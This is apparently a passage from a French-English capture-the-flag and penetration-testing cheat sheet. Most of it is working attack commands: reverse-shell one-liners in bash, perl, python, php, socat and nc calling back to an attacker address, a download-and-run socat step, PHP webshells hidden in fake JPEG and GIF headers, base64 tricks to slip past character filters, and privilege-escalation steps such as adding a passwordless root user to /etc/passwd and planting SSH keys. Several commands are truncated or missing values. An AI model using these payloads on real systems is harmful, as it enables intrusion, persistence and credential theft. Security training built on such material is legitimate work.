$ socat file:`tty`,raw,echo=0 TCP-L:4444

Launch reverse shell back to

$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:

Automate socat upload and the reverse shell:

$ wget -q -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:

Pwncat is an upgraded nc on steroids too.

Netcat and python are not installed on the server. It is still possible to launch a reverse shell in bash.
Launch a listening nc on your host:

nc -lvp 4444

Launch the reverse shell on your target:

bash -i >& /dev/tcp/IPKALI/4444 0>&1

Launch a listening nc on your host:

nc -lvp 4444

Launch the reverse shell in perl on your target:

perl -e 'use Socket;$i="IPKALI";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Launch a listening nc on your host:

nc -lvp 4444

Launch the reverse shell in python on your target:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((IPKALI,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(/bin/bash)'

Launch a listening nc on your host:

nc -lvp 4444

Launch the reverse shell in php on your target:

php -r '$sock=fsockopen("IPKALI",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

If you can upload a php file to the web server, the file below will allow you to run shell commands:

<?php echo 'Shell: ';system($_GET['cmd']); ?>

Run 'id' on the server

curl http://IPSERVER/cmd.php?cmd=id

Upload the file

<pre><?php echo 'Shell: ';system($_GET['cmd']); ?></pre>

Run 'id' on the server

curl http://IPSERVER/cmd.php?cmd=id

Sometimes some characters like ; the & or the | are filtered. A base64 encoding allows to get out of it.
Base64 encode your command in an xterm:

$ printf 'system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IPKALI 4444 >/tmp/f");' | base64

Paste de base64 encoded command in PHP reverse shell code:

import sys,socket,time,re,subprocess,os

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
conn,addr = sock.accept()
conn.send('== YOLO Backdoor ==\n\n>')
while 1:         
    data = conn.recv(1024)
    cmd = data.strip().split(' ')
    if cmd[0] == 'cd':
    elif cmd[0] in ('exit'):

If you can upload a jpg file, it is possible to hide a webshell in it.

A jpeg file is identified by its first bytes which have the value: ffd8ffe0
To generate a file that will be identified as having a valid Jpeg header:

printf "\xff\xd8\xff\xe0<?php system('id'); ?>" > webshell.jpg

This file will be recognized as a jpg file

$ file webshell.jpg 
webshell.jpg: JPEG image data

A Gif file is identified by its first bytes which have the value: GIF89a;
To generate a file that will be identified as having a valid gif header:

printf "GIF89a;<?php system('id'); ?>" > webshell.gif

This file will be recognized as a gif file

$ file webshell.gif 
webshell.gif: GIF image data

An image file contains a lot of information: shooting date, location, camera type...
We can inject php code in this data.

exiftool -Comment='<?php system('id'); ?>' webshell.jpg

You want to know more ?
Some webshells

Pure php Webshell: php-reverse-shell.php

Yop Webshell: yopwebshell.php
Yolo Webshell: yolowebshell.php

File transferts

As soon as you get your initial foothold on the target server, your next step is to transfert text or binary files.
You'll probably download some target files and upload some tools such as backdoors or privilege escalation scripts...

Base64 encoding is the simplest way to upload small binary or text files.

cat file | base64
printf 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' | base64 -d > file

Just prepare the last command on you xterm, it can be many lines long, then copy/paste/exec on you target.

To transfer a file without worrying about its size, just launch an HTTP server and make a wget, curl

python -m SimpleHTTPServer 8000
php -S

Be carefull, eveyone is able to browse this new server file system.

With an ssh accès, let use scp

scp file.txt remote_username@
scp -i id_rsa file.txt remote_username@
scp -P 2222 file.txt remote_username@
scp remote_username@ /local/directory

Privilege Elevation - Unix

You just got shell access to a server. Let start by an exhaustive inventory of what is accessible to your account.

  • Identify the OS, its version, the missing security patches
  • List available tools: netcat, python, perl...
  • Read all config, temporary, backup files to find login/password.
  • Use the possible sudo rights of the account.
  • Find commands with SetUID bit.
  • Find a process running in the background with root rights and modify its inputs.
  • Find a kernel exploit. This last option, radical because it can crash the machine, is very efficient on old servers...

On your first servers, it is preferable to make these enumerations by launching the commands manually, so you can appropriate the options and outputs. Once comfortable, and knowing what you are looking for, feel free to use scripts that do these enumerations for you.

Files containing usefull informations

Find .txt or .cfg files, owned by other accounts, and readable.

find /home -readable -type f  \( -iname \*.txt -o -iname \*.cfg \) 2>/dev/null
find /home -E . -regex '.*\.(txt|cfg)' 2>/dev/null

Wordpress config file is:


Let find it:

find /var -name wp-config.php 2>/dev/null

This config file contains login/password used to connect to the blog database. By dumping the database, it's thus possible to get wordpress user's login and password hashes.

Apache config file name may be :


On le trouve généralement dans un des répertoires:


Tomcat config file is named:


User's accounts can be found in :


Thos files are usually found in:



Sudo allows to launch commands as another user.

To know the sudo rights of your account, you must launch the command sudo -l and enter your password:

sudo -l
User1 can use the following commands on target-host :
    (ALL) NOPASSWD: /usr/bin/find
    user2 NOPASSWD: /usr/bin/python3 /home/user2/

It is then possible to run commands as user2 with the option -u user2

sudo /usr/bin/find  
sudo -u user2 /usr/bin/python3  /home/user2/ 

You can run find with root account rights, and with user2 account rights..

If the NOPASSWD option is not defined, the sudo command asks for the current account password. If you have entered through a webshell, or an ssh connection with a private key, you will have to manage to know the password.

SetUID bit

Identify processes with a setUID bit

find / -perm -4000 -exec ls -al {} \; 2>/dev/null

What to do with a binary having a setUID bit ?

- Run a shell
- Read a flag
- Copy a file
- Add an entry in a file : /etc/sudoers, /etc/passwd, ~/.ssh/authorized_keys
- ...

Many processes allow to launch a shell. Perfect with sudo or a setUID bit.

- find
- nmap
- vi
- less
- awk
- tee


If you have the rights to modify /etc/passwd, you can be root. For example tee with a sudo as root. Add an entry with a UID of 0 (root UID), and an empty password.

echo myroot::0:0:::/bin/bash | sudo tee -a /etc/passwd 
su myroot 
echo 'ssh-rsa AAAAB3[...]CHN2CpQ==' > /home/victim/.ssh/authorized_keys
ssh -i id_rsa victim@iptarget

Process exploitation


Identify processes running as root

ps eaxf

Once an interresting process found, see if it's possible to modify the files read by the process, or if the process has known vulnerabilities.

Identify cron tasks.

cat /etc/cron.d/*
cat /var/spool/cron/*
crontab -l
cat /etc/crontab
cat /etc/cron.(time)
systemctl list-timers

With the ps command, you may miss a small process, launched every 2 minutes, which will process a batch file in 5 seconds before disappearing. The pspy tool monitors the processes for you.

Kernel exploit

Linux Distib version:

cat /etc/issue
Ubuntu 18.04.3 LTS 

Linux kernel version: 5.0.0-37-generic

uname -a
Linux yoloctf-server 5.0.0-37-generic #40~18.04.1-Ubuntu SMP Thu Nov 14 12:06:39 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Once the kernel version is known, it is possible to search for a kernel exploit
Never run an unknown binary !
Get the sources, read them, understand what they do, compile yourself, and only then run them... Knowing that there is a high risk of crashing the server.

Enumeration scripts

Some well known script automate the enumeration process.
Test them and find the one that suits you best.

linPeass : : : : :


The Open Web Application Security Project (OWASP) is a community, founded in 2001, which produces and makes available for free articles, methodologies, tools...
Every year, it publishes the Top 10 Web security vulnerabilities. It publishes the OWASP Testing Guide: a guide to best practices in depentesting.
It publishes the OWASP Development Guide: a guide to writing code without security holes. Official website:

Mitre is the organization, funded by the United States Defense Department, which has implemented and maintains the CVE referencing (Common Vulnerabilities and Exposures).


A CVE, for Common Vulnerabilities and Exposures, is a reference for a security flaw.


Base64 encoding is used to transmit data using only displayable characters (letters, numbers, a few signs, etc.)

URL/Percent encoding is used to transmit special characters in URL such as quote, spaces...)

Veuillez noter que les majuscules sont perdues lors de l'encodage.
Be careful, capital letters are lost during encoding.


Few interresting video: